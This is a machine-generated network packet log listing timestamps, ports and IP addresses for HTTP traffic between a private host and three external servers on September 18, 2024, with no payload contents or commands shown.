Sep 18, 2024 14:30:08.696075916 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.696093082 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.696114063 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.696139097 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.696238041 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.696253061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.696264029 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696280003 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696290016 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.696290016 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.696291924 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696305990 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696321011 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.696342945 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.696425915 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696439028 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696451902 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696463108 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696471930 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.696475029 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696486950 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696496964 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.696500063 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696521997 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.696530104 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.696572065 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696613073 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.696739912 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696753025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696764946 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.696784019 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.696795940 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.696816921 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.697561026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.697580099 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.697592020 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.697603941 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.697614908 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.697617054 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.697627068 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.697632074 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.697638988 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.697650909 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.697663069 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.697669983 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.697674990 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.697679996 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.697688103 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.697700024 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.697715998 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.697725058 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.697727919 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.697741985 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.697756052 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.697783947 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700442076 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700453997 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700468063 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700480938 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700493097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700505018 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700510979 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700515985 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700531960 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700531960 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700546026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700547934 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700557947 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700563908 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700570107 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700582981 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700592995 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700598001 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700609922 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700623035 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700623035 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700637102 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700639009 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700650930 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700655937 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700680971 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700697899 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700750113 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700762987 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700773954 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700784922 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700798988 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700815916 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700864077 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700875044 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700890064 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700896978 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700927973 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700927973 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.700942039 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.700973034 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.707442999 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707468033 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707480907 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707493067 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707505941 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707525015 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707535982 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707546949 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707555056 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707567930 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707580090 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.707581043 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707597971 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707612991 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707642078 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.707642078 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.707722902 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707735062 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707746983 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707758904 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707765102 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.707765102 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.707775116 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707787037 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707799911 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707808971 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.707839966 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.707839966 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.707865953 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707878113 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707890034 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707901955 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707911968 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.707925081 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.707925081 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.707957029 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708163023 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708177090 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708188057 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708199978 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708215952 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708245039 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708245039 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708251953 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708266020 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708266973 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708278894 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708292007 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708298922 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708307981 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708327055 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708328009 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708338976 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708349943 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708354950 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708357096 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708369017 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708372116 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708388090 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708400965 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708412886 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708425045 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708437920 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708439112 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708439112 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708453894 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708466053 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708477020 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708477020 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708482027 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708496094 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708508015 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708548069 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708548069 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708576918 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708580971 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708590031 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708602905 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708616018 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708627939 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708636999 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708637953 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708636999 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708647966 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708659887 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708668947 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708802938 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.708920002 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708961964 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.708973885 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709011078 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709011078 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709018946 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709027052 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709033966 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709048033 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709060907 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709075928 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709075928 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709141970 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709156990 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709167957 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709180117 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709182978 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709182978 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709193945 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709208012 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709218979 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709232092 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709233046 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709249973 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709258080 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709264040 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709285021 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709286928 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709286928 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709297895 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709311008 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709321022 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709321976 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709337950 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709351063 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709372044 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709372044 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709413052 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709541082 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709585905 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709587097 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709603071 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709633112 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709634066 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709645987 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709645987 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709659100 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709671974 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709696054 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709696054 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709733963 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709760904 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709773064 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709788084 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709800959 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709811926 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709819078 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709819078 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709825039 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709840059 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709845066 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709851980 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709866047 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709896088 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709896088 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709899902 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709913015 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709930897 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709940910 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709940910 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709944010 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709955931 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709959030 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709968090 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709975004 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.709980965 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.709994078 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.710017920 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.710017920 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.710033894 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.710221052 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.710264921 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.710294962 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.710308075 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.710349083 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.710351944 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.710351944 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.710362911 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.710375071 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.710386992 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.710408926 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.710408926 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.710498095 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.710540056 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.710540056 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.715272903 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715348005 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.715375900 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715409040 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715423107 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715426922 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.715435982 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715447903 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715456963 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.715461016 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715472937 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715509892 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.715513945 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715527058 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715528965 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.715538979 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715552092 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715559959 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.715569973 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715581894 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715590954 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.715603113 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715607882 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.715615988 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715629101 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715636015 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.715651035 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715661049 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.715663910 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715677023 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715687990 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.715708017 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715714931 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.715720892 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715734005 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715740919 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.715766907 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.715951920 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715964079 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715976954 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715989113 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.715993881 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716001987 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716015100 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716021061 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716027021 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716037989 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716047049 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716049910 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716063976 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716063976 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716078043 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716089010 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.716094017 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.716119051 CEST	49703	80	192.168.2.7	176.113.115.33
